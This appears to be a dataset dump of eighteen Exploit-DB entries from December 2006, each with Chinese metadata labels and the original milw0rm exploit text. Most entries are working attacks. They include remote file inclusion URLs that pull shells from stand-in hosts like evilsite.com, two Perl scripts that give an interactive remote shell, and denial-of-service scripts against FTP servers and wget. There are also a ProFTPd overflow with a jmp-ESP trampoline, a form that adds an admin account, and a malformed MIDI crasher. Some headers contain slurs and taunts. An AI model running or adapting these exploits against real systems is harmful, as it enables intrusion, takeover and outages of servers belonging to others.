QLWD/code_shield huggingface dataset:
标题: Azucar CMS 1.3 - '/admin/index_sitios.php' File Inclusion EDB-ID: 2943 CVE: 2006-6720 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-18 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Azucar CMS <= 1.3 (_VIEW) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Azucar CMS <= 1.3
+ Download ..........: http://downloads.sourceforge.net/azucarcms/azucarcms1.3.zip
+ Description .......: "Azucar is a modular content management system designed to be extremely user friendly"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Azucar CMS admin/index_sitios.php uses the include function insecurely on the $_GET[_VIEW]
+ paramater passed to the script, a remote file can be specified and executed on the server.
+
+ Vulnerable Code: 
+ admin/index_sitios.php, line(s) 14-15:
+ -> 14-15: if (isset($_GET[_VIEW])) include($_GET[_VIEW]);
+
+ Proof Of Concept:
+ http://[target]/[path]/admin/index_sitios.php?_VIEW=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-18] URL: https://www.exploit-db.com/exploits/2943
标题: mxBB Module Meeting 1.1.2 - Remote File Inclusion EDB-ID: 2941 CVE: 2006-6644 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-16 漏洞利用脚本: *******************************************************************************************
# Title   :  mxBB Module Meeting <= 1.1.2(meeting_constants.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include($module_root_path . 'language/lang_' . $language . '/lang_meeting.' . $phpEx);
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_meeting/pages/meeting_constants.php?module_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16] URL: https://www.exploit-db.com/exploits/2941
标题: wget 1.10.2 - Unchecked Boundary Condition Denial of Service EDB-ID: 2947 CVE: 2006-6719 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-18 漏洞利用脚本: #!/usr/bin/perl
################################################################################
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
################################################################################

use strict;
use IO::Socket;


#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0  0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1  0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
#2  0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
#3  0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
#4  0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
#5  0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
#6  0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
#7  0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
#8  0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)

my $PORT=21;
$SIG{CHLD} = 'IGNORE';


my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1); 
die "Cant't bind port: $@" unless $listen;

print "wget PoC\nWainting conections\n";

while (my $connection = $listen->accept){
my $child;

   while (my $connection = $listen->accept){
   my $child;
   die "Can't fork: $!" unless defined ($child = fork());
     if ($child == 0){
       $listen->close;
    while() { 
      print $connection "220 \n";
    }
    exit 0;
     }
     else {
    print "Connecton recieved ... ",$connection->peerhost,"\n";
           $connection->close();
     }
       } #while

} #while

# milw0rm.com [2006-12-18] URL: https://www.exploit-db.com/exploits/2947
标题: Star FTP Server 1.10 - 'RETR' Remote Denial of Service EDB-ID: 2942 CVE: 2006-6643 类型: DOS 平台: WINDOWS 发布日期: 2006-12-17 漏洞利用脚本: # Star FTP server 1.10
# Bug type: stack overflow
# Found by Necro <neco * ihack.pl> http://iHACK.pl

from socket import *
from sys import exit

print '\n[*] Star FTP server 1.10 Remote 0day DoS Exploit'
print '[*] Bug found by Necro <necro*ihack.pl> http://iHACK.pl'

host = '127.0.0.1'
port = 21

username = 'necro'
password = 'dupa'

evil = 'RETR' + '\x20' + '\x41' * 1024 + '\r\n'

s = socket(AF_INET, SOCK_STREAM)
try:
   s.connect((host, port))
except:
   print '\n[-] Connection Error'
   exit()

s.recv(1024)
s.send('USER' + '\x20' + username + '\r\n')
s.recv(1024)
s.send('PASS' + '\x20' + password + '\r\n')
s.recv(1024)
s.send('PORT 2000\r\n')
s.recv(1024)
s.send(evil)
s.recv(1024)
s.send(evil)
s.close()

print '[+] Done, shutdown.'

# milw0rm.com [2006-12-17] URL: https://www.exploit-db.com/exploits/2942
标题: Bandwebsite 1.5 - 'LOGIN' Remote Add Admin EDB-ID: 2938 CVE: 2006-6722 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-16 漏洞利用脚本: <!--
- Product : Bandsite portal system
- Website : http://membres.lycos.fr/fluxx/bandwebsite.php 
- Author  : H0tTurk-

WebSiteVersion:1.x 
 - Problem : Admin Added Access.

Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour guide, an admin section to manage overall data and configurations, and more.
-->

      <TABLE cellSpacing=1 cellPadding=5 width=570 bgColor=#665E6B border=0>
        <TBODY>
        <tr><td bgcolor=#ffffff>
&nbsp;</p>
<p>
<form action=http://[target]/bandwebsite/admin.php?&Login=1&section=admins method=post>
   Name:<br>
<input type=text name='name' value='hotturk' size="20"><br>
   Pass:<br>
<input type=text name='pass' value='hotturk' size="20"><br>
<input type=submit name='submit' value='send'><br>
</form></TD></TR></TBODY></TABLE>
<P><BR></P></TD></TR></TBODY></TABLE></BODY>

<!--
Admin Added :)
http://[target]/bandwebsite/login.php
and login as admin 
name :hotturk
pass : hotturk

--------------------------------------------------------
Special Thx: Dr.Max.Virus,GencTurk,Str0ke,SawTurk,Chironex Fleckeri,Unique-key,KurtEfendy,MadConfig,R4zor,Arabian-FighterZ,And Ayyildiz ViP Soldiers 
                                       "BUNDAN OTESÝ YA ÝSTÝKLAL YA OLUM"
-->

# milw0rm.com [2006-12-16] URL: https://www.exploit-db.com/exploits/2938
标题: Microsoft Windows Media Player 9/10 - '.mid' Denial of Service EDB-ID: 2935 CVE: 2006-6601 类型: DOS 平台: WINDOWS 发布日期: 2006-12-15 漏洞利用脚本: #!/bin/sh
# Windows Media MID File Denial Of Service Vulnerability
# Tested:
# Windows Media 10.00.00.4036
# Windows XP SP2
# file "example.mid" (Hex-Code):
# 4D 54 68 64 00 00 00 06 00 00 00 00 00 00
# File size = 14 byte

perl -e 'print "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"' > example.mid

# milw0rm.com [2006-12-15] URL: https://www.exploit-db.com/exploits/2935
标题: mxbb module charts 1.0.0 - Remote File Inclusion EDB-ID: 2940 CVE: 2006-6650 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-16 漏洞利用脚本: *******************************************************************************************
# Title   :  mxBB Module Charts <= 1.0.0(module_root_path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include($module_root_path . 'language/lang_' . $language . '/lang_charts.' .  $phpEx);
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_charts/charts_constants.php?module_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16] URL: https://www.exploit-db.com/exploits/2940
标题: mxBB Module WebLinks 2.05 - Remote File Inclusion EDB-ID: 2939 CVE: 2006-6645 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-16 漏洞利用脚本: *******************************************************************************************
# Title   :  mxBB Module WebLinks <= 2.05(mx_root_path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com
# Dork    :  /modules/mx_links/

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include_once( $mx_root_path .  'modules/mx_links/includes/mx_links_constants.php' );
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_links/language/lang_english/lang_admin.php?mx_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16] URL: https://www.exploit-db.com/exploits/2939
标题: yaplap 0.6.1b - 'ldap.php' Remote File Inclusion EDB-ID: 2930 CVE: 2006-6575 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-14 漏洞利用脚本: #!/usr/bin/perl
#yaplap Remote File Inclusion Vulnerablity
#Version 0.6 & 0.6.1
#Class = Remote File Inclusion
#Bug Found & Exploit [c]oded By  DeltahackingTEAM      (Dr.Trojan&Dr.Pantagon)
#Download:http://osdn.dl.sourceforge.net/sourceforge/yaplap/yaplap-0.6.1.tar.gz
#Vulnerable Code:include $LOGIN_style."_form.php";
#[Path]/Index.php?site_main_path=
#Exploit: ldap.php?LOGIN_style=[shell]
# FUCK Your Mother &Your SisTer=>>> z_zer0c00l
use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'ldap.php?LOGIN_style='.$shellsite='.?&'.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
         ***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***

Vulnerablity found By: DeltahackingTEAM

Exploit [c]oded By: Dr.Trojan

Dr.Trojan,HIV++,D_7j,Lord,VPc,Tanha,Dr.Pantagon

http://advistory.deltasecurity.ir

We Server(99/999% Secure) <<<<<www.takserver.ir>>>>>

Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[yaplap FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
[shell Cmd Variable] - Command variable for php shell
Example: perl delta.pl http://www.site.com/[yaplap]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-14] URL: https://www.exploit-db.com/exploits/2930
标题: PHPMyCMS 0.3 - 'basic.inc.php' Remote File Inclusion EDB-ID: 2927 CVE: 2006-6612 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-13 漏洞利用脚本: #########################################################################################
###################################v1per-haCker##########################################
######################How I Can lives Without FooL Programmer!###########################
#########################################################################################
#=======================================================================================#
#___________________________________phpmycms (RFI)______________________________________#
#=======================================================================================#
# Information:-          #
#           #
# Scripts: phpmycms         #
# download : http://sourceforge.net/projects/phpmycms/     #
# Version : -          #
# Dork & vuln : download script and think :)      #
#           #
#=======================================================================================#
# Exploit :          #
#           #
#http://localhost/path/basic.inc.php?basepath_start=http://EvElCoDe.txt?  #
#           #
#=======================================================================================#
# Discoverd By : v1per-haCker        #
#           #
# Conatact : v1per-hacker[at]hotmail.com      #
#           #
# XP10_hackEr Team  >> www.xp10.com     #
# SpeciaL PoweR SecuritY TeaM >> www.specialpower.org    #
#           #
# Greetz to : | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |   #
#  | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |  #
#  | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |  #
#  | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |   #
#  |  MuhaciR  |Skrmhcr-GVinux | Jean | fucker_net | Sir-ToTTi |  #
#               #
# Thanks >> /str0ke & www.milw0rm.com & www.google.com    #
#=======================================================================================#
#########################################################################################
#################################L0ve is L1fe W0und3r####################################
#########################################################################################


# milw0rm.com [2006-12-13] URL: https://www.exploit-db.com/exploits/2927
标题: AR Memberscript - 'usercp_menu.php' Remote File Inclusion EDB-ID: 2931 CVE: 2006-6590 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-14 漏洞利用脚本: #################################################################################################
# Author: ex0
# 
# ar_memberscript - remote file include vulnerability (all versions)
# 
# **There is no vendo patch, and doubt there will be. I havnt been able to get in touch with the
# vendor for 2 months**
# 
# ar_memberscript is a script used by many anime sites to manage their members, news, and some 
# content, in some cases "premium media".
#
# 
# Discovered: 10/22/06
# Published: 12/12/06
# 
# Enjoy it.
# 
#################################################################################################

Here is the vulnerable code:

usercp_menu.php
include ( "$script_folder/login_form2.php" );

www.someanimesite.com/member/usercp_menu.php?script_folder=http://evilsite.com

Dont take too much advantage of it :).

Dork: "Members Statistics" +"Total Members" +"Guests Online"

# Greetz; Caution, Raph13, Yeast, Xpontius and all former Inf Crew members & all XeN Members.
# IRC: irc.milw0rm.com:6667 #esk

# milw0rm.com [2006-12-14] URL: https://www.exploit-db.com/exploits/2931
标题: mxBB Module newssuite 1.03 - Remote File Inclusion EDB-ID: 2925 CVE: 2006-6553 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-12 漏洞利用脚本: #!/usr/bin/perl
#mxBB newssuite Module v1.5  --Remote File Inclusion Exploit
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=17

#PoC: http://[target]/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=[shell]


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
 usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
 $cmd=$_;
 chomp($cmd);
 
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'/includes/newssuite_constants.php?mx_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";  
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;

 
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
} 
}
}
last;



sub header()
{
print q{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
mxBB newssuite Module v1.5  -- Remote File  Include Exploit
      
Vulnerablity found by: Dr Max Virus
      
Exploit [c]oded by: Dr Max Virus        
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
}
}
sub usg()
{
header();
print q{
Usage:  exploit.pl <fullpath> <Shell Location> <Shell Cmd>
<FULL PATH> - Path to site exp. www.site.com
<shell Location> - Path to shell exp. www.evilhost.com/shell.txt
<shell Cmd Variable> - Command variable for php shell exp. id
Example:  exploit.pl http://www.site.com/[path]/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
};

exit();
}

# milw0rm.com [2006-12-12] URL: https://www.exploit-db.com/exploits/2925
标题: ProFTPd 1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (PoC) EDB-ID: 2928 CVE: 2006-6563 类型: DOS 平台: LINUX 发布日期: 2006-12-13 漏洞利用脚本: #    Core Security Technologies - Corelabs Advisory
#    ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
       os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished
#
s.close()

# milw0rm.com [2006-12-13] URL: https://www.exploit-db.com/exploits/2928
标题: Crob FTP Server 3.6.1 build 263 - 'LIST/NLST' Denial of Service EDB-ID: 2926 CVE: 2006-6558 类型: DOS 平台: WINDOWS 发布日期: 2006-12-13 漏洞利用脚本: import sys,os,string
import socket
import struct
import time

print "-----------------------------------------------------------------------"
print "# Crob FTP Server 3.6.1 b.263 LIST, NLST and NLST -al Denial of Service"
print "# url: http://www.crob.net/en/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot[org]"
print "# site: http://shinnai.altervista.org"
print "# and, always, special thanks to rgod"
print "-----------------------------------------------------------------------"


buffer = "?A" * 9000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
       conn = s.connect(("127.0.0.1",21))
except:
       print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(1)
s.send('USER %s\r\n' % "test")
time.sleep(1)
s.send('PASS %s\r\n' % "test")
time.sleep(1)
s.send('LIST %s\r\n' % buffer)
time.sleep(1)
s.send('HELP %s\r\n')

# milw0rm.com [2006-12-13] URL: https://www.exploit-db.com/exploits/2926
标题: Barman 0.0.1r3 - 'Interface.php' Remote File Inclusion EDB-ID: 2920 CVE: 2006-6611 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-11 漏洞利用脚本: **********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Barman 0.0.1r3

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://downloads.sourceforge.net/barman/Barman-0.0.1r3.tgz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------

- Exploit:


http://localhost/[PATH]/interface.php?basepath=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-11] URL: https://www.exploit-db.com/exploits/2920
标题: mxBB Module Activity Games 0.92 - Remote File Inclusion EDB-ID: 2919 CVE: 2006-6615 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-11 漏洞利用脚本: # mx_act (mxBB Games Module)   --Remote File Inclusion Exploit
# Bug Found & Exploit [c]oded By Dr Max Virus
# Download:http://www.mx-system.com/index.php?page=4&action=file&file_id=71

Problem area:

 if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) )
 {
    include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx );
  $link_language='lang_english';
 } 
 else
 {
    include(  $mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx );
  $link_language='lang_' . $board_config['default_lang'];
 } 

PoC:
 
 http://site.com/mxBB/modules/mx_act/include/constants/act_constants.php?mx_root_path=http://[yourshell]?& 
 

# exploit was broken and removed. /str0ke

# milw0rm.com [2006-12-11] URL: https://www.exploit-db.com/exploits/2919
标题: Blog:CMS 4.1.3 - 'NP_UserSharing.php' Remote File Inclusion EDB-ID: 2923 CVE: 2006-6552 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-12 漏洞利用脚本: BLOG:CMS Remote file include Vulnerability

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

global $DIR_ADMIN;
include ( substr($DIR_ADMIN,0,strpos($DIR_ADMIN,'admin'))."photo".DIRECTORY_SEPARATOR."includes".DIRECTORY_SEPARATOR."user.class.php");

http://site.com/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=http://www.soqor.net/tools/cmd.txt?admin

# milw0rm.com [2006-12-12] URL: https://www.exploit-db.com/exploits/2923